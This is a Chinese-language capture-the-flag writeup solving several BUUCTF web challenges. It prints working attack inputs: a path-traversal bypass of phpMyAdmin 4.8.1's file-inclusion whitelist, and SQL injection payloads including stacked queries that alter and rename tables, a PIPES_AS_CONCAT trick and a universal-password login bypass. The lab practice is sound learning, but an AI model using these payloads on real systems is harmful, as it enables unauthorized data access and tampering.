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Tamevic’s Ctf-Web writeup@BUUCTF Web

前言

大学所有课程都结束了，接下来还有考试和其他一些安排就要毕业了。从大二开始一直在说什么时候能有大块空闲时间好好学学ctf，但是课
程安排比较紧张，一直没得空。现在好不容易有了大块时间，说开始就开始。

这次选择BUUCTF的Web题，这里题目基本都是历年各大赛事的原题，质量比较高，便于积累。

HCTF2018 WarmUp

环境一起就是一个滑稽…
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查看源码，提示去看source.php
source.php里是源码



经过百度得知这个是PHPMyAdmin 4.8.1 文件包含漏洞

重点在下面那个三连判断，要求file非空，必须是字符串，必须能通过checkfile的验证（必须在白名单中）

看上面checkfile的内容:

1. 当 $page  未定义或者 $page不为字符串时，返回False

2. 当 $page存在于 $whitelist数组内时，返回True

3. 获取 $page中’?'前的所有字符串（不存在时获取全部），然后判断是否在 $whitelist数组中，存在返回True

4. 同上，只不过先对 $page进行urldecode

这样的话，可以通过url编码的方式，让该函数返回True

在白名单中随便找一个元素，不能在黑名单中，后面跟上编码后的’?’，然后跟上文件的相对路径，可以用’/…/…/'去跳目录

在hint.php里提示在ffffllllaaaagggg

盲猜文件名是ffffllllaaaagggg，目录是四级

构造

?file=source.php?/../../../../ffffllllaaaagggg

或者

?file=hint.php?/../../../../ffffllllaaaagggg



得到flag

强网杯2019 随便注

想我去年强网杯可能比现在还菜…Web题直接就看睡着那种…

起环境之后看到是一个sql注入的题目

先用我微薄的注入知识试一试…

'or 1=1#



这个应该是

把当前表里所有信息都抖出来了，但是并没有flag

再尝试试注释来注入



但是查询语句都被限制了

这时应该试试堆叠注入…（我承认我也是刚学会）

即用 ';截断之前的语句，再运行第二个查询或者修改语句（看到alert啥的没被限制）

用下面这个语句查询所有数据库

';show databases;#



查询当前数据库的所有表

';show tables;#



查询 1919810931114514表中的所有列（ 字符串为表名操作时要加反引号）

';show columns from `1919810931114514`;#

发现了flag所在地…

大概就是明了了。。words那个表是默认查询表，结果会返回一个数字和一个字符串，flag在另一个表里，之前那个限制没有限
制rename和alert，所以可以将flag所在的表名改为words，这样就可以默认查询这个表。而且在查询时少了一个id列，再加入一
个id列即可。（或者将flag名字改为id也可）

';alter table `1919810931114514` add `id` INT(11) NOT NULL DEFAULT '1' after `flag` ;



 ';rename table words to words1;rename table `1919810931114514` to words;



之后直接查询就可以得到flag

SUCTF 2019 EasySQL

环境一起，先用自己薄弱的注入知识再试试。。

'or 1=1#

但是不行，没结果

直接查询1

也没结果

再试试刚学的堆叠注入

1;show tables;



成

功了耶…只有一个表，就是Flag，那应该之前查询的时候就会有flag出来，但是没有

而且直接堆叠注入进行查询时，查询语句会被滤过

而且应该是做了限制，对 或  的执行进行了截断

select $_POST[query] || flag from Flag

经过查询，学习新知识点

设置 set sql_mode=PIPES_AS_CONCAT;将 ||作为连接符而不是或

构建payload

1;set sql_mode=PIPES_AS_CONCAT;select 1



得到flag

此外，这个题中还有个小bug

在进行限制过滤没有限制 *

所以直接构造payload *,1即可成功

[极客大挑战 2019] EasySQL

启动环境，出现一个登录界面，要求输入用户名和密码



先随便尝试一下用户名1，密码1

可以观察到给check.php代入了两个参数，username和password，在这里尝试注入。



check.php?username='or 1=1'&password='or 1=1'

出现报错，尝试万能密码 admin' or '1'='1

即可得到flag

[极客大挑战 2019] Havefun

这个比赛的题好像是新加进来的。。

启动环境有一只猫猫，尾巴还会动~只能看到url里带入了一个 cat



查看源代码，全是写动画的东西，直到最后发现了提示

如果cat参数的值是dog，就会有别的返回值
那就整一个 cat=dog试试

flag就出来了…我有点懵…
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